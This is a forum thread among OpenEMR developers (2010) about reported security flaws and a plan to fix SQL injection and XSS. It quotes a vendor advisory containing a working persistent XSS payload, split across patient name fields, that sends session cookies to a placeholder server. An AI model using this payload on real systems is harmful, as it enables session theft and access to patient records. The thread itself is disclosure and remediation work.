bradymiller wrote on Tuesday, January 26, 2010:
hey,
I was emailed a detailed report by the Realsearch group at NC state of the many security vulnerabilities in OpenEMR. I posted the report on the wiki here:
http://www.openmedsoftware.org/wiki/Active_Projects#Security_Vulnerability_Assessment_and_Fixing
Any security experts around that can summarize this stuff (the extent of the problem along with pointing to what and where things need to be fixed).
-brady
anonymous wrote on Tuesday, January 26, 2010:
There is also a testing tool that can be used:
http://www.acunetix.com/websitesecurity/cross-site-scripting.htm
We have written some codes and will be happy to share them.
ideaman911 wrote on Wednesday, January 27, 2010:
Guys;
Can we for the moment separate these into two issues; available from the internet and not? Just thinking out loud and based on ignorance rather than knowledge. But for most practices, is not the firewall settings of requiring the same subnet the biggest barrier to external or malicious intent? Most of we and they are not really concerned about attacks of the nature DOD might expect. We just want to, for the moment at least, assure we meet HIPAA security while still providing the best medical care we can. Paper is obviously not liable to internet attacks, but it is also hardly possible to protect from the far more likely mis-file or fire/flood/coffee disaster risks.
Not to diminish the real risks, just to keep perspective as we address these, like we address every other issue we discover.
Joe Holzer Idea Man 315-622-9241 im@holzerent.com or joe.im0602x@gmail.com
http://www.holzerent.com or http://www.EMRofCNY.com
bradymiller wrote on Thursday, January 28, 2010:
hey,
As long as users utilize signed client certificates on the internet, should be ok (since leverageing the security of apache to even get to the site).
I think it’s mostly an issue of scalability. For example, in your clinic(s) that your supporting, having several well trusted employees is fine. But what happens when you gain more employees, so more people now have access to OpenEMR. One bad seed can then do bad things. At this point, the goal is to make this information as open as possible so users know about it. At some point when resources become available can then start to tackle these vulnerabilities.
-brady
-brady
visolveemr wrote on Thursday, January 28, 2010:
Hi Brady,
We will provide the summary of the issues (security vulnerabilities discussed in the given link) and the solution to tackle each issue by next week.
Thanks
ViCarePlus Team
drbowen wrote on Thursday, January 28, 2010:
Security vulnerabilities are rampant among Electronic Health Records. We are not the only project with these problems. The commercial vendors have this also they just don’t talk about it in public like we do.
A number of the companies helping with the Meaningful Use project intend to support medical practices as a hosted service. This takes the worry out of small practices who do not have IT support on staff. To do this OpenEMR will need to become more secure. And just because you keep your instance of OpenEMR on a closed network don’t think that this makes you perfectly safe. If an attacker gets through all your well laid defenses they can and will attack you on a closed network.
I had the misfortune of being attacked on my LAN about 6 years ago. I noticed in the middle of the afternoon that my laptop would “freeze up” for about an hour. This was associated with a very large amount of network traffic that was very usual for my LAN. I was able to track down the problem and discovered that an attacker had taken control of my very expensive, commercial, firewall and was running nmap port scans on my internal network using the firewall as his “work station.” I unplugged the firewall and completely changed to an open source firewall and started running my own separate device. I called our State Bureau of Investigation. Several years later an employee of the ISP vendor told me that the attacked had taken control of the ISP vendor’s DNS server and had attacked me successfully from the only IP that I could not block to get internet access. So I know this can happen and it is really scary when it does. For those who are interested I have maligned this ISP vendor on these forums before. I haven’t had any more successful attacks (to my knowledge) since I started running open source firewalls.
I was invited by Dr. Laurie Williams of North Carolina State University to participate in a ONC “SHARP” grant proposal to work on these security issues from “end-to-end.” The entire connection of an Electronic Health Record to an HIE to a Hospital needs to be secured. Dr. Laurie Williams is the professor at NCSU that ran the security scna against OpenEMR that Brady found and quoted earlier. She picked OpenEMR to work with as “best-of-breed” open source Electronic Health Record. This type of grant takes a lot of time and energy to get written and it takes a long time to actually get approved by the federal government.
The really cool thing is that if Dr. Williams is successful in receiving this grant she plans on helping us also become the “most secure” Electronic Health Record on the planet. Go Dr. Williams! Go NC State!
Sam Bowen, MD
http://www.openmedsoftware.org/
bradymiller wrote on Thursday, April 15, 2010:
hey,
Got another email from Realsearch group at NC state whom have been doing testing on OpenEMR’s security. They posted security issues on our bug tracker; following artifacts:
We have added the security defects that we found in OpenEMR to the bug tracker. The bugs are:
2987498
2987499
2987500
2987501
2987502
2987504
2987505
2987507
any thoughts?
-brady
cluge wrote on Thursday, April 15, 2010:
2987498 -> Can be mitigated by setting a reasonable script execution time in php.ini
2987499 -> This is less an issue with Open EMR than it is with PDF. Since several medical devices produce PDFs natively this “vulnerability” may be something that has to be lived with. The idea of scanning for java is good idea but must be an optional setting. Example: A practice’s x-ray produces a PDF with java controls, then the practice can turn off this feature to allow the attachment of the xray to the patients record.
2987500&2987507& 2987502&2987501&2987504: I consider these bugs very high priority. These are ‘critical’.
These bugs allow an attacker a great deal of latitude and the ability to get to patient records without authorization. We mitigate this by SOME degree by having the server on site and requiring a VPN connection into the network to get to OpenEMR. That only reduces the risk. If a user must use a publicly accessible server, then I would suggest using iptables with a VPN (or a firewall solution that provides that functionality) to restrict access to the application. _
2987505: I believe this is expected behavior.
Respectfully, _
bradymiller wrote on Sunday, April 18, 2010:
cluge,
Regarding the VPN, isn’t another option to simply force client ssl certificates to access site via apache?
-brady
bradymiller wrote on Sunday, April 18, 2010:
hey,
Can we close off the sql-injection attacks that use the patient id’s by simply casting these variables to an int() ?
-brady
cluge wrote on Sunday, April 18, 2010:
>Regarding the VPN, isn’t another option to simply force client ssl certificates to access site via apache?
No - it doesn’t do the same thing. The idea with the VPN is to restrict who can get to the application from outside the primary location. SSL doesn’t restrict who can get to the login page or the application, but encrypts data to and from client/server. VPN is an added layer of security that requires credentials separate from the credentials required for OpenEMR just to get to the login page. The idea here is to keep the pool of users to a small trusted group. The security issues still remain, but the people using the application are less likely to exploit them.
>Can we close off the sql-injection attacks that use the patient id’s by simply casting these variables to an int() ?
No - we need to sanitize all of the inputs correctly. Changing patient id’s to int() merely obfuscates the data, it doesn’t change the underlying attack vector.
sunsetsystems wrote on Sunday, April 18, 2010:
cluge, I don’t think you understood that Brady’s question concerned *client* ssl certificates. These will authenticate the client to the server. I.e. if you do not have the correct client certificate, the you can’t even make the HTTPS connection. A VPN is overkill if the only thing you’re accessing remotely is a web server.
cluge wrote on Sunday, April 18, 2010:
Ahh - I did miss understand.
I don’t like using CLIENT SSL certificates do to the management issue. If someone is fired, one must either recreate the cert for all users (if they reuse the same cert) or revoke the certificate in question (ie when you issue unique certs per user). Building self signed cert for every user and getting the cert sent to and installed is a pain in the butt. Whereas with a VPN I just add/remove the user from the user database. In a small static environment client side SSL may be fine, but the larger the userbase, the more cumbersome it becomes unless you’ve automated it.
PPTP is supported by every client imaginable, is simple to set up, and lightweight on the server. It even allows me to restrict or monitor internet traffic while the client is using openemr. In my world, setting up a CA, creating and managing the keys required to use a client side certificate is overkill ;) That being said - it will work, and provide the most of the same mitigation as a VPN.
cluge
bradymiller wrote on Wednesday, June 02, 2010:
hey,
Got the following email regarding a security issue (I directed the author to this forum and asked him to put a bug report in our tracker):
Hello Brady,
My name is David Shaw and I am a security engineer at Redspin, Inc.
While using your software, I noticed that there are some security problems (including session-stealing cross-site scripting) that should be fixed. I have written up these problems into an advisory, which is attached to this email.
Thank you for your time,
Redspin Security Notice - RSN-2010-01
Multiple vulnerabilities in OpenEMR Electronic Medical Record Software
Quote from http://www.oemr.org/
OpenEMR is a free medical practice management, electronic medical records,
prescription writing, and medical billing application. These programs are also
referred to as electronic health records. OpenEMR is licensed under the General
Gnu Public License (General GPL). It is a free open source replacement for
medical applications such as Medical Manager, Health Pro, and Misys. It features
support for EDI billing to clearing houses such as Availity, MD-Online, MedAvant
and ZirMED using ANSI X12.
Two issues were discovered with the OpenEMR standard installation.
Primarily, there exists a persistent cross-site scripting (XSS) attack vector,
in which a patient may be maliciously named in a way that will send session data
to a third party web host.
Additionally, certain directories (including SQL configurations) are world
readable which results in sensitive information disclosure.
Vulnerable Product : OpenEMR 3.2
Vulnerability Type : Session-stealing XSS & Directory Listing
Discovered by : David Shaw (dshaw@redspin.com)
Bug Discovered : May 14, 2010
Vendor Advised : –
Additional info sent : –
Vendor Response : –
Vendor recontacted : –
Vendor Response : –
Public Disclosure : –
Due to an incorrectly sanitized input in the “patient name” field, it is
possible to create a malformed patient name that will translate into a
persistent cross site scripting exploit.
Due to the nature of the form, “First Name” and “Last Name” are reversed in the
resulting output. As such, the Javascript injection must start on “last name”
and continue on to “first name.”
Furthermore, there is a comma in between these two outputs which must be taken
into account by inserting Javascript comments between the two injections. A
working demonstration of this persistent XSS is available in the “Proof of
Concept” section of this notice.
In addition to the cross-site scripting vulnerability, certain sensitive
directories are open by default and world-readable. For example, the
database.sql file may be read at http://server/openemr/sql/database.sql
Bug #1: Persistent Cross-Site Scripting
Once logged into OpenEMR, navigate to Management->New/Search. The resulting
menu will have form inputs for patient information. The malicious
input is as follows:
\(First Name\): \*/I.src='<http://SERVER.IP/>'+encodeURI\(C\);</script>
\(Last Name\): <script>var C=document.cookie;var I=new Image; /\*
The resulting statement in the output is:
<script>
var C=document.cookie;
var I=new Image;
/\*, \*/
I.src='<http://SERVER.IP/>'+encodeURI\(C\);
</script>
When this patient has been inserted, it will show up as a blank name in the
patient database. However, when any user attempts to search for a patient
or view the list of existing patients, his session ID is sent \(silently\)
to web server logs \(in this case, to SERVER.IP\).
Bug \#2: Directory Listing
Various files containing sensitive information are world-readable.
Furthermore, there is no index.html file in the directory which would deny
enumeration of files.
http://localhost/openemr/sql/
http://localhost/openemr/sql/database.sql
Will be included after vendor response is received.
acmoore wrote on Wednesday, June 02, 2010:
I submitted a patch to deal with the patient names. It’s at: https://sourceforge.net/tracker/?group_id=60081&atid=493003
There are tons more vulnerabilities in other pieces of patient data and other kinds of user-submitted data. It will be months before we have them all dealt with.
To deal with the second problem, there has been a large amount of discussion about adding and improving our index.php files and .htaccess files. I recommend that we make the minimal stop-gap fixes while pondering and working on the longer-term improvements.
bradymiller wrote on Thursday, June 03, 2010:
Regarding the second problem, I replied that his specific issue was not a problem at all. There are no customizations in the sql
directory; might as well ready the sql directory here on the cvs repository to get the same thing. Kind of funny. That being said, a
global .htaccess file and index.php files in each directory would be useful (more for the case of directorires that carry custom
code or pt info). As I recall, Chris stepped up to look into this:
http://sourceforge.net/projects/openemr/forums/forum/202506/topic/3722408
-brady
bradymiller wrote on Saturday, June 12, 2010:
My thoughts on what do globally for security. There’s been discussions interspersed in the forums, so figured would summarize it here. A large multi-component walk through will likely be required that deals with sql-injection (placemakers via Andy’s stuff combined with a global input sanitizer to deal with magic quotes), cross-site scripting (using htmlspecialchars() function everywhere), and other loose ends (php register globals being faked). Separately, also dealing with directory security (index.php and .htaccess files) and migrating private files out of web directory.
A code script by script walk through could be done by the following:
1) After the guts of Andy’s sql.inc adodb placemaker function tested and work, then can pick a sample script and convert it to the new format.
2) In this script can also use Stephens global magic quote cleaner:
https://sourceforge.net/projects/openemr/forums/forum/202506/topic/3729248
3) In this script, can then remove all calls/functions that deal with magicquote removal and database escaping since it will be dealt with automatically by above 1 and 2.
4) In this script, can then ensure the fake globals can be turned off as described here:
http://www.openmedsoftware.org/wiki/Active_Projects#Clean_up_use_of_the_extract.28.29_function_on_post_and_get_variable_.28faking_them_as_globals.29
5) In this script, ensure all vulnerable screen output gets put through the htmlspecialchars() function.
6) Once it is shown to work in the sample script, then can follow this process throughout the entire codebase.
The above steps would drastically increase the security of OpenEMR and also make it much easier for developers (since in essence removing the confusion of magic quotes and database escaping from the picture). This would also make OpenEMR compatible with other sql database engines.
I recommend we do not expect new developers to follow the above guidelines until the codebase has been refactored. This stuff is complicated and will only frustrate new developers (for an example of this, see: http://sourceforge.net/projects/openemr/forums/forum/202506/topic/3725023 ). We should only expect new code submissions to follow what is currently in the codebase.
-brady
bradymiller wrote on Thursday, June 17, 2010:
hey,
I’ve completed the above strategy on the language gui script. Placed the commits on my github repository:
http://github.com/bradymiller/openemr/tree/security_example
Even cooler to look at them here (each dot is a commit in security example thread):
http://github.com/openemr/openemr/network
1. First commit works ADODB placement and binding into the sql.inc functions and was based on Andy’s stuff. I’ve put them as separate functions(need to decide whether to separate or combine with original functions). These are really rough but work and are just for proof of concept.
2. Second commit places Stephen’s magic quote eraser at the top of the sample script. This function actually does not work; hopefully Stephen can help with that. Something to consider is also trimming all the variables.
3. Third commit wipes all the customized magic quote and database escaping stuff from the sample scripts.
4. Fourth commit converts all the sql calls to the “safe” new sql.inc functions, that use placemakers and binding, in the sample scripts (bye bye sql-injection and database escaping headaches)
5. Fifth commit turns off the fake register globals (an addition by Stephen), so needed to ensure the script calls the POST and GET variables correctly first.
6. Sixth commit is to stop xss attacks (via the htmlspecialchars() function)
So the above essentially:
1. gets rid of sql-injection attacks
2. gets rid of xss attacks attacks
3. developers do not need to worry about magic quotes or database escaping
4. will allow cross-compatibility with other databases (such as postgresql)
Still need to further refine the sql.inc functions and magic quote eraser functions; at that point could then consider a huge multi-developer code walk through.
-brady
acmoore wrote on Thursday, June 17, 2010:
Brady, I like the direction this is going. I’m glad to see you playing around with ways to deal with these systemic problems. I think this is a fine approach.
I think your decision to add additional SQL functions with similar names that work with bind parameters is, unfortunately, probably one of the better ways to make the transition. It’s not pretty, but it seems reasonable enough. As most of the code grows to start using the new functions, the old ones can be deprecated and eventually removed.
I agree with your approach of wrapping htmlspeciachars() around calls to xl().
There’s a lot of work to be done here, and it’s not really the very exciting kind. I’m hopeful that I can contribute to it and get it behind us.
stephen-smith wrote on Thursday, June 17, 2010:
Brady, I know you like the GitHub commit comments, so I left a few notes there. (They do have great context, so the messages can be really short.)
I think #3 on your list is impossible to do completely. Undoing magic_quotes_* in a common header and using bind variables as often as possible is good. However, sometimes we can’t use bind variables; they can’t be used for db object name (e.g. columns or tables) and I’m fairly sure the LBF engine uses user input for names like that.
Oh, the “network” graph on GitHub doesn’t ever work for me. Instead qgit and gitk can be used to get a dot-per-commit tree view of the project (or just parts)
Still, I think things are looking good for dealing with these security issues. My thanks go out to Brady and Andy.